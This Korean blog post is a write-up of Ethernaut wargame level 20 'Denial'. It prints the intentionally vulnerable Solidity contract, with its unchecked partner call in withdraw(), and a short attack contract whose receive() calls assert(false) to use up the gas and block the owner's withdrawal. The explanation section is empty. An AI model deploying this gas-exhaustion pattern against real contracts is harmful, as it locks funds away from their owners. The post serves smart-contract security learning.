본문 바로가기

블록체인/Ethernaut

[Ethernaut] 20. Denial

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

 

목표

Deny owner to withdraw fund

 

방법

코드 작성

// SPDX-License-Identifier: None

pragma solidity ^0.6.0;


contract DenialAttack {

    receive() external payable {
        assert(false);
    }
}

해설

'블록체인 > Ethernaut' 카테고리의 다른 글

[Ethernaut] 19. Alien Codex  (0) 2022.06.23
[Ethernaut] 18. MagicNumber  (0) 2022.06.19
[Ethernaut] 17. Recovery  (0) 2022.06.17
[Ethernaut] 16. Preservation  (0) 2022.06.14
[Ethernaut] 15. Naught Coin  (0) 2022.06.13